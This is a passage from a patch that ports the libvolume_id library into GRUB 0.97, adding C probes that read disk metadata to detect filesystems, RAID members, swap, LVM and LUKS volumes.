++		sprintf(id->type_version, "%u", hs->version);
++
++		volume_id_set_usage(id, VOLUME_ID_FILESYSTEM);
++		id->type = "hpfs";
++		return 0;
++	}
++
++	return -1;
++}
+
+=== added file 'libvolume_id/iso9660.c'
+--- grub-0.97.orig/libvolume_id/iso9660.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/iso9660.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,119 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2004 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++#define ISO_SUPERBLOCK_OFFSET		0x8000
++#define ISO_SECTOR_SIZE			0x800
++#define ISO_VD_OFFSET			(ISO_SUPERBLOCK_OFFSET + ISO_SECTOR_SIZE)
++#define ISO_VD_PRIMARY			0x1
++#define ISO_VD_SUPPLEMENTARY		0x2
++#define ISO_VD_END			0xff
++#define ISO_VD_MAX			16
++
++struct iso_volume_descriptor {
++	uint8_t		type;
++	uint8_t		id[5];
++	uint8_t		version;
++	uint8_t		flags;
++	uint8_t		system_id[32];
++	uint8_t		volume_id[32];
++	uint8_t		unused[8];
++	uint8_t		space_size[8];
++	uint8_t		escape_sequences[8];
++} PACKED;
++
++struct high_sierra_volume_descriptor {
++	uint8_t		foo[8];
++	uint8_t		type;
++	uint8_t		id[5];
++	uint8_t		version;
++} PACKED;
++
++int volume_id_probe_iso9660(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	uint8_t *buf;
++	struct iso_volume_descriptor *is;
++	struct high_sierra_volume_descriptor *hs;
++
++	info("probing at offset 0x%llx", (unsigned long long) off);
++
++	buf = volume_id_get_buffer(id, off + ISO_SUPERBLOCK_OFFSET, 0x200);
++	if (buf == NULL)
++		return -1;
++
++	is = (struct iso_volume_descriptor *) buf;
++
++	if (memcmp((char*)is->id, "CD001", 5) == 0) {
++		int vd_offset;
++		int i;
++
++		dbg("read label from PVD");
++		volume_id_set_label_raw(id, is->volume_id, 32);
++		volume_id_set_label_string(id, is->volume_id, 32);
++
++		dbg("looking for SVDs");
++		vd_offset = ISO_VD_OFFSET;
++		for (i = 0; i < ISO_VD_MAX; i++) {
++			uint8_t svd_label[64];
++
++			is = (struct iso_volume_descriptor *) volume_id_get_buffer(id, off + vd_offset, 0x200);
++			if (is == NULL || is->type == ISO_VD_END)
++				break;
++			if (is->type != ISO_VD_SUPPLEMENTARY)
++				continue;
++
++			dbg("found SVD at offset 0x%llx", (unsigned long long) (off + vd_offset));
++			if (memcmp((char *)is->escape_sequences, "%/@", 3) == 0||
++			    memcmp((char *)is->escape_sequences, "%/C", 3) == 0||
++			    memcmp((char *)is->escape_sequences, "%/E", 3) == 0) {
++				dbg("Joliet extension found");
++				volume_id_set_unicode16(svd_label, sizeof(svd_label), is->volume_id, BE, 32);
++				if (memcmp((char *)id->label, (char *)svd_label, 16) == 0) {
++					dbg("SVD label is identical, use the possibly longer PVD one");
++					break;
++				}
++
++				volume_id_set_label_raw(id, is->volume_id, 32);
++				volume_id_set_label_string(id, svd_label, 32);
++				strcpy(id->type_version, "Joliet Extension");
++				goto found;
++			}
++			vd_offset += ISO_SECTOR_SIZE;
++		}
++		goto found;
++	}
++
++	hs = (struct high_sierra_volume_descriptor *) buf;
++
++	if (memcmp((char *)hs->id, "CDROM", 5) == 0) {
++		strcpy(id->type_version, "High Sierra");
++		goto found;
++	}
++
++	return -1;
++
++found:
++	volume_id_set_usage(id, VOLUME_ID_FILESYSTEM);
++	id->type = "iso9660";
++
++	return 0;
++}
+
+=== added file 'libvolume_id/isw_raid.c'
+--- grub-0.97.orig/libvolume_id/isw_raid.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/isw_raid.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,61 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2005 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++struct isw_meta {
++	uint8_t		sig[32];
++	uint32_t	check_sum;
++	uint32_t	mpb_size;
++	uint32_t	family_num;
++	uint32_t	generation_num;
++} PACKED;
++
++#define ISW_SIGNATURE		"Intel Raid ISM Cfg Sig. "
++
++
++int volume_id_probe_intel_software_raid(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	const uint8_t *buf;
++	uint64_t meta_off;
++	struct isw_meta *isw;
++
++	info("probing at offset 0x%llx, size 0x%llx",
++	    (unsigned long long) off, (unsigned long long) size);
++
++	if (size < 0x10000)
++		return -1;
++
++	meta_off = ((size / 0x200)-2) * 0x200;
++	buf = volume_id_get_buffer(id, off + meta_off, 0x200);
++	if (buf == NULL)
++		return -1;
++
++	isw = (struct isw_meta *) buf;
++	if (memcmp((char *)isw->sig, ISW_SIGNATURE, sizeof(ISW_SIGNATURE)-1) != 0)
++		return -1;
++
++	volume_id_set_usage(id, VOLUME_ID_RAID);
++	memcpy(id->type_version, &isw->sig[sizeof(ISW_SIGNATURE)-1], 6);
++	id->type = "isw_raid_member";
++
++	return 0;
++}
+
+=== added file 'libvolume_id/jfs.c'
+--- grub-0.97.orig/libvolume_id/jfs.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/jfs.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,60 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2004 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++struct jfs_super_block {
++	uint8_t		magic[4];
++	uint32_t	version;
++	uint64_t	size;
++	uint32_t	bsize;
++	uint32_t	dummy1;
++	uint32_t	pbsize;
++	uint32_t	dummy2[27];
++	uint8_t		uuid[16];
++	uint8_t		label[16];
++	uint8_t		loguuid[16];
++} PACKED;
++
++#define JFS_SUPERBLOCK_OFFSET			0x8000
++
++int volume_id_probe_jfs(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	struct jfs_super_block *js;
++
++	info("probing at offset 0x%llx", (unsigned long long) off);
++
++	js = (struct jfs_super_block *) volume_id_get_buffer(id, off + JFS_SUPERBLOCK_OFFSET, 0x200);
++	if (js == NULL)
++		return -1;
++
++	if (memcmp((char *)js->magic, "JFS1", 4) != 0)
++		return -1;
++
++	volume_id_set_label_raw(id, js->label, 16);
++	volume_id_set_label_string(id, js->label, 16);
++	volume_id_set_uuid(id, js->uuid, 0, UUID_DCE);
++
++	volume_id_set_usage(id, VOLUME_ID_FILESYSTEM);
++	id->type = "jfs";
++
++	return 0;
++}
+
+=== added file 'libvolume_id/jmicron_raid.c'
+--- grub-0.97.orig/libvolume_id/jmicron_raid.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/jmicron_raid.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,57 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2006 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++struct jmicron_meta {
++	int8_t		signature[2];
++	uint8_t		minor_version;
++	uint8_t		major_version;
++	uint16_t	checksum;
++} PACKED;
++
++int volume_id_probe_jmicron_raid(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	const uint8_t *buf;
++	uint64_t meta_off;
++	struct jmicron_meta *jm;
++
++	info("probing at offset 0x%llx, size 0x%llx",
++	    (unsigned long long) off, (unsigned long long) size);
++
++	if (size < 0x10000)
++		return -1;
++
++	meta_off = ((size / 0x200)-1) * 0x200;
++	buf = volume_id_get_buffer(id, off + meta_off, 0x200);
++	if (buf == NULL)
++		return -1;
++
++	jm = (struct jmicron_meta *) buf;
++	if (memcmp((char *)jm->signature, "JM", 2) != 0)
++		return -1;
++
++	volume_id_set_usage(id, VOLUME_ID_RAID);
++	sprintf(id->type_version, "%u.%u", jm->major_version, jm->minor_version);
++	id->type = "jmicron_raid_member";
++
++	return 0;
++}
+
+=== added file 'libvolume_id/linux_raid.c'
+--- grub-0.97.orig/libvolume_id/linux_raid.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/linux_raid.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,160 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2004 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++static struct mdp0_super_block {
++	uint32_t	md_magic;
++	uint32_t	major_version;
++	uint32_t	minor_version;
++	uint32_t	patch_version;
++	uint32_t	gvalid_words;
++	uint32_t	set_uuid0;
++	uint32_t	ctime;
++	uint32_t	level;
++	uint32_t	size;
++	uint32_t	nr_disks;
++	uint32_t	raid_disks;
++	uint32_t	md_minor;
++	uint32_t	not_persistent;
++	uint32_t	set_uuid1;
++	uint32_t	set_uuid2;
++	uint32_t	set_uuid3;
++} PACKED *mdp0;
++
++struct mdp1_super_block {
++	uint32_t	magic;
++	uint32_t	major_version;
++	uint32_t	feature_map;
++	uint32_t	pad0;
++	uint8_t		set_uuid[16];
++	uint8_t		set_name[32];
++} PACKED *mdp1;
++
++#define MD_RESERVED_BYTES		0x10000
++#define MD_SB_MAGIC			0xa92b4efc
++
++static int volume_id_probe_linux_raid0(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	const uint8_t *buf;
++	union {
++		uint32_t ints[4];
++		uint8_t bytes[16];
++	} uuid;
++
++	info("probing at offset 0x%llx, size 0x%llx",
++	    (unsigned long long) off, (unsigned long long) size);
++	if (size < 0x10000)
++		return -1;
++
++	buf = volume_id_get_buffer(id, off, 0x800);
++	if (buf == NULL)
++		return -1;
++	mdp0 = (struct mdp0_super_block *) buf;
++
++	if (le32_to_cpu(mdp0->md_magic) == MD_SB_MAGIC) {
++		uuid.ints[0] = bswap_32(mdp0->set_uuid0);
++		if (le32_to_cpu(mdp0->minor_version >= 90)) {
++			uuid.ints[1] = bswap_32(mdp0->set_uuid1);
++			uuid.ints[2] = bswap_32(mdp0->set_uuid2);
++			uuid.ints[3] = bswap_32(mdp0->set_uuid3);
++		} else {
++			uuid.ints[1] = 0;
++			uuid.ints[2] = 0;
++			uuid.ints[3] = 0;
++		}
++		volume_id_set_uuid(id, uuid.bytes, 0, UUID_FOURINT);
++		sprintf(id->type_version, "%u.%u.%u",
++			 le32_to_cpu(mdp0->major_version),
++			 le32_to_cpu(mdp0->minor_version),
++			 le32_to_cpu(mdp0->patch_version));
++	} else if (be32_to_cpu(mdp0->md_magic) == MD_SB_MAGIC) {
++		uuid.ints[0] = mdp0->set_uuid0;
++		if (be32_to_cpu(mdp0->minor_version >= 90)) {
++			uuid.ints[1] = mdp0->set_uuid1;
++			uuid.ints[2] = mdp0->set_uuid2;
++			uuid.ints[3] = mdp0->set_uuid3;
++		} else {
++			uuid.ints[1] = 0;
++			uuid.ints[2] = 0;
++			uuid.ints[3] = 0;
++		}
++		volume_id_set_uuid(id, uuid.bytes, 0, UUID_FOURINT);
++		sprintf(id->type_version, "%u.%u.%u",
++			 be32_to_cpu(mdp0->major_version),
++			 be32_to_cpu(mdp0->minor_version),
++			 be32_to_cpu(mdp0->patch_version));
++	} else
++		return -1;
++
++	volume_id_set_usage(id, VOLUME_ID_RAID);
++	id->type = "linux_raid_member";
++	return 0;
++}
++
++static int volume_id_probe_linux_raid1(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	const uint8_t *buf;
++
++	info("probing at offset 0x%llx, size 0x%llx",
++	    (unsigned long long) off, (unsigned long long) size);
++
++	buf = volume_id_get_buffer(id, off, 0x800);
++	if (buf == NULL)
++		return -1;
++	mdp1 = (struct mdp1_super_block *) buf;
++
++	if (le32_to_cpu(mdp1->magic) != MD_SB_MAGIC)
++		return -1;
++
++	volume_id_set_uuid(id, mdp1->set_uuid, 0, UUID_FOURINT);
++	volume_id_set_label_raw(id, mdp1->set_name, 32);
++	volume_id_set_label_string(id, mdp1->set_name, 32);
++	sprintf(id->type_version, "%u", le32_to_cpu(mdp1->major_version));
++	volume_id_set_usage(id, VOLUME_ID_RAID);
++	id->type = "linux_raid_member";
++	return 0;
++}
++
++int volume_id_probe_linux_raid(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	uint64_t sboff;
++
++	/* version 0 at the end of the device */
++	sboff = (size & ~(MD_RESERVED_BYTES - 1)) - MD_RESERVED_BYTES;
++	if (volume_id_probe_linux_raid0(id, off + sboff, size) == 0)
++		return 0;
++
++	/* version 1.0 at the end of the device */
++	sboff = (size & ~(0x1000 - 1)) - 0x2000;
++	if (volume_id_probe_linux_raid1(id, off + sboff, size) == 0)
++		return 0;
++
++	/* version 1.1 at the start of the device */
++	if (volume_id_probe_linux_raid1(id, off, size) == 0)
++		return 0;
++
++	/* version 1.2 at 4k offset from the start */
++	if (volume_id_probe_linux_raid1(id, off + 0x1000, size) == 0)
++		return 0;
++
++	return -1;
++}
+
+=== added file 'libvolume_id/linux_swap.c'
+--- grub-0.97.orig/libvolume_id/linux_swap.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/linux_swap.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,85 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2004 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++struct swap_header_v1_2 {
++	uint8_t		bootbits[1024];
++	uint32_t	version;
++	uint32_t	last_page;
++	uint32_t	nr_badpages;
++	uint8_t		uuid[16];
++	uint8_t		volume_name[16];
++} PACKED;
++
++#define LARGEST_PAGESIZE			0x4000
++
++int volume_id_probe_linux_swap(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	const uint8_t *buf;
++	unsigned int page;
++	struct swap_header_v1_2 *sw;
++
++	info("probing at offset 0x%llx", (unsigned long long) off);
++
++	/* eek, the swap signature is at the end of the PAGE_SIZE */
++	for (page = 0x1000; page <= LARGEST_PAGESIZE; page <<= 1) {
++			buf = volume_id_get_buffer(id, off + page-10, 10);
++			if (buf == NULL)
++				return -1;
++
++			if (memcmp((char *)buf, "SWAP-SPACE", 10) == 0) {
++				strcpy(id->type_version, "1");
++				goto found;
++			}
++
++			if (memcmp((char *)buf, "SWAPSPACE2", 10) == 0) {
++				id->type = "swap";
++				strcpy(id->type_version, "2");
++				goto found_label;
++			}
++
++			if (memcmp((char *)buf, "S1SUSPEND", 9) == 0) {
++				id->type = "suspend";
++				strcpy(id->type_version, "s1suspend");
++				goto found_label;
++			}
++
++			if (memcmp((char *)buf, "ULSUSPEND", 9) == 0) {
++				id->type = "suspend";
++				strcpy(id->type_version, "ulsuspend");
++				goto found_label;
++			}
++	}
++	return -1;
++
++found_label:
++	sw = (struct swap_header_v1_2 *) volume_id_get_buffer(id, off, sizeof(struct swap_header_v1_2));
++	if (sw != NULL) {
++		volume_id_set_label_raw(id, sw->volume_name, 16);
++		volume_id_set_label_string(id, sw->volume_name, 16);
++		volume_id_set_uuid(id, sw->uuid, 0, UUID_DCE);
++	}
++
++found:
++	volume_id_set_usage(id, VOLUME_ID_OTHER);
++	return 0;
++}
+
+=== added file 'libvolume_id/lsi_raid.c'
+--- grub-0.97.orig/libvolume_id/lsi_raid.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/lsi_raid.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,55 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2005 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++struct lsi_meta {
++	uint8_t		sig[6];
++} PACKED;
++
++#define LSI_SIGNATURE		"$XIDE$"
++
++int volume_id_probe_lsi_mega_raid(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	const uint8_t *buf;
++	uint64_t meta_off;
++	struct lsi_meta *lsi;
++
++	info("probing at offset 0x%llx, size 0x%llx",
++	    (unsigned long long) off, (unsigned long long) size);
++
++	if (size < 0x10000)
++		return -1;
++
++	meta_off = ((size / 0x200)-1) * 0x200;
++	buf = volume_id_get_buffer(id, off + meta_off, 0x200);
++	if (buf == NULL)
++		return -1;
++
++	lsi = (struct lsi_meta *) buf;
++	if (memcmp((char *)lsi->sig, LSI_SIGNATURE, sizeof(LSI_SIGNATURE)-1) != 0)
++		return -1;
++
++	volume_id_set_usage(id, VOLUME_ID_RAID);
++	id->type = "lsi_mega_raid_member";
++
++	return 0;
++}
+
+=== added file 'libvolume_id/luks.c'
+--- grub-0.97.orig/libvolume_id/luks.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/luks.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,76 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2005 W. Michael Petullo <mike@flyn.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++#define LUKS_SECTOR_SHIFT		9
++#define LUKS_SECTOR_SIZE		(1 << LUKS_SECTOR_SHIFT)
++
++#define LUKS_CIPHERNAME_L		32
++#define LUKS_CIPHERMODE_L		32
++#define LUKS_HASHSPEC_L			32
++#define LUKS_DIGESTSIZE			20
++#define LUKS_SALTSIZE			32
++#define LUKS_NUMKEYS			8
++
++#define LUKS_MAGIC_L			6
++#define LUKS_PHDR_SIZE			(sizeof(struct luks_phdr)/LUKS_SECTOR_SIZE+1)
++#define UUID_STRING_L			40
++static const uint8_t LUKS_MAGIC[] = {'L','U','K','S', 0xba, 0xbe};
++
++struct luks_phdr {
++	uint8_t		magic[LUKS_MAGIC_L];
++	uint16_t	version;
++	uint8_t		cipherName[LUKS_CIPHERNAME_L];
++	uint8_t		cipherMode[LUKS_CIPHERMODE_L];
++	uint8_t		hashSpec[LUKS_HASHSPEC_L];
++	uint32_t	payloadOffset;
++	uint32_t	keyBytes;
++	uint8_t		mkDigest[LUKS_DIGESTSIZE];
++	uint8_t		mkDigestSalt[LUKS_SALTSIZE];
++	uint32_t	mkDigestIterations;
++	uint8_t		uuid[UUID_STRING_L];
++	struct {
++		uint32_t	active;
++		uint32_t	passwordIterations;
++		uint8_t		passwordSalt[LUKS_SALTSIZE];
++		uint32_t	keyMaterialOffset;
++		uint32_t	stripes;
++	} keyblock[LUKS_NUMKEYS];
++};
++
++int volume_id_probe_luks(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	struct luks_phdr *header;
++
++	header = (struct luks_phdr*) volume_id_get_buffer(id, off, LUKS_PHDR_SIZE);
++	if (header == NULL)
++		return -1;
++
++	if (memcmp((char *)header->magic, (char *)LUKS_MAGIC, LUKS_MAGIC_L))
++		return -1;
++
++	volume_id_set_usage(id, VOLUME_ID_CRYPTO);
++	volume_id_set_uuid(id, header->uuid, 36, UUID_HEX_STRING);
++	sprintf(id->type_version, "%u", le16_to_cpu(header->version));
++	id->type = "crypto_LUKS";
++	return 0;
++}
+
+=== added file 'libvolume_id/lvm.c'
+--- grub-0.97.orig/libvolume_id/lvm.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/lvm.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,92 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2004 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++struct lvm1_super_block {
++	uint8_t	id[2];
++} PACKED;
++
++struct lvm2_super_block {
++	uint8_t		id[8];
++	uint64_t	sector_xl;
++	uint32_t	crc_xl;
++	uint32_t	offset_xl;
++	uint8_t		type[8];
++} PACKED;
++
++#define LVM1_SB_OFF			0x400
++#define LVM1_MAGIC			"HM"
++
++int volume_id_probe_lvm1(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	const uint8_t *buf;
++	struct lvm1_super_block *lvm;
++
++	info("probing at offset 0x%llx", (unsigned long long) off);
++
++	buf = volume_id_get_buffer(id, off + LVM1_SB_OFF, 0x800);
++	if (buf == NULL)
++		return -1;
++
++	lvm = (struct lvm1_super_block *) buf;
++
++	if (memcmp((char *)lvm->id, LVM1_MAGIC, 2) != 0)
++		return -1;
++
++	volume_id_set_usage(id, VOLUME_ID_RAID);
++	id->type = "LVM1_member";
++
++	return 0;
++}
++
++#define LVM2_LABEL_ID			"LABELONE"
++#define LVM2LABEL_SCAN_SECTORS		4
++
++int volume_id_probe_lvm2(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	const uint8_t *buf;
++	unsigned int soff;
++	struct lvm2_super_block *lvm;
++
++	dbg("probing at offset 0x%llx", (unsigned long long) off);
++
++	buf = volume_id_get_buffer(id, off, LVM2LABEL_SCAN_SECTORS * 0x200);
++	if (buf == NULL)
++		return -1;
++
++
++	for (soff = 0; soff < LVM2LABEL_SCAN_SECTORS * 0x200; soff += 0x200) {
++		lvm = (struct lvm2_super_block *) &buf[soff];
++
++		if (memcmp((char *)lvm->id, LVM2_LABEL_ID, 8) == 0)
++			goto found;
++	}
++
++	return -1;
++
++found:
++	memcpy(id->type_version, lvm->type, 8);
++	volume_id_set_usage(id, VOLUME_ID_RAID);
++	id->type = "LVM2_member";
++
++	return 0;
++}
+
+=== added file 'libvolume_id/minix.c'
+--- grub-0.97.orig/libvolume_id/minix.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/minix.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,112 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2005-2007 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++#define MINIX_SUPERBLOCK_OFFSET			0x400
++
++#define MINIX_SUPER_MAGIC			0x137F
++#define MINIX_SUPER_MAGIC2			0x138F
++#define MINIX2_SUPER_MAGIC			0x2468
++#define MINIX2_SUPER_MAGIC2			0x2478
++#define MINIX3_SUPER_MAGIC			0x4d5a
++
++struct minix_super_block
++{
++	uint16_t	s_ninodes;
++	uint16_t	s_nzones;
++	uint16_t	s_imap_blocks;
++	uint16_t	s_zmap_blocks;
++	uint16_t	s_firstdatazone;
++	uint16_t	s_log_zone_size;
++	uint32_t	s_max_size;
++	uint16_t	s_magic;
++	uint16_t	s_state;
++	uint32_t	s_zones;
++} PACKED;
++
++struct minix3_super_block {
++	uint32_t	s_ninodes;
++	uint16_t	s_pad0;
++	uint16_t	s_imap_blocks;
++	uint16_t	s_zmap_blocks;
++	uint16_t	s_firstdatazone;
++	uint16_t	s_log_zone_size;
++	uint16_t	s_pad1;
++	uint32_t	s_max_size;
++	uint32_t	s_zones;
++	uint16_t	s_magic;
++	uint16_t	s_pad2;
++	uint16_t	s_blocksize;
++	uint8_t 	s_disk_version;
++} PACKED;
++
++int volume_id_probe_minix(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	uint8_t *buf;
++	struct minix_super_block *ms;
++	struct minix3_super_block *m3s;
++
++	info("probing at offset 0x%llx", (unsigned long long) off);
++
++	buf = volume_id_get_buffer(id, off + MINIX_SUPERBLOCK_OFFSET, 0x200);
++	if (buf == NULL)
++		return -1;
++
++	ms = (struct minix_super_block *) buf;
++
++	if (ms->s_magic == MINIX_SUPER_MAGIC ||
++	    ms->s_magic == bswap_16(MINIX_SUPER_MAGIC)) {
++		strcpy(id->type_version, "1");
++		goto found;
++	}
++	if (ms->s_magic == MINIX_SUPER_MAGIC2 ||
++	    ms->s_magic == bswap_16(MINIX_SUPER_MAGIC2)) {
++		strcpy(id->type_version, "1");
++		goto found;
++	}
++	if (ms->s_magic == MINIX2_SUPER_MAGIC ||
++	    ms->s_magic == bswap_16(MINIX2_SUPER_MAGIC)) {
++		strcpy(id->type_version, "2");
++		goto found;
++	}
++	if (ms->s_magic == MINIX2_SUPER_MAGIC2 ||
++	    ms->s_magic == bswap_16(MINIX2_SUPER_MAGIC2)) {
++		strcpy(id->type_version, "2");
++		goto found;
++	}
++
++	m3s = (struct minix3_super_block *) buf;
++	if (m3s->s_magic == MINIX3_SUPER_MAGIC ||
++	    m3s->s_magic == bswap_16(MINIX3_SUPER_MAGIC)) {
++		strcpy(id->type_version, "3");
++		goto found;
++	}
++	goto exit;
++
++found:
++	volume_id_set_usage(id, VOLUME_ID_FILESYSTEM);
++	id->type = "minix";
++	return 0;
++
++exit:
++	return -1;
++}
+
+=== added file 'libvolume_id/misc.c'
+--- grub-0.97.orig/libvolume_id/misc.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/misc.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,34 @@
++/*
++ * volume_id/misc.c
++ *
++ * Copyright (C) 2008 Canonical Ltd.
++ *
++ *      This program is free software; you can redistribute it and/or modify it
++ *      under the terms of the GNU General Public License as published by the
++ *      Free Software Foundation version 2 of the License.
++ */
++#define _GNU_SOURCE
++#include <string.h>
++
++/*
++ *  Misc auxiliary functions required for volume_id inside grub
++ */
++size_t strnlen(const char *s, size_t limit)
++{
++	size_t length = 0;
++	while ( (length < limit) && (*s++) ) 
++		length++;
++
++   	return length;
++}
++
++char *strchr (const char *s, int c)
++{
++	do {
++		if ( *s == c ) {
++			return (char*)s;
++      		}
++  	} while ( *s++ );
++
++  	return 0;
++}
+
+=== added file 'libvolume_id/netware.c'
+--- grub-0.97.orig/libvolume_id/netware.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/netware.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,98 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2006 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
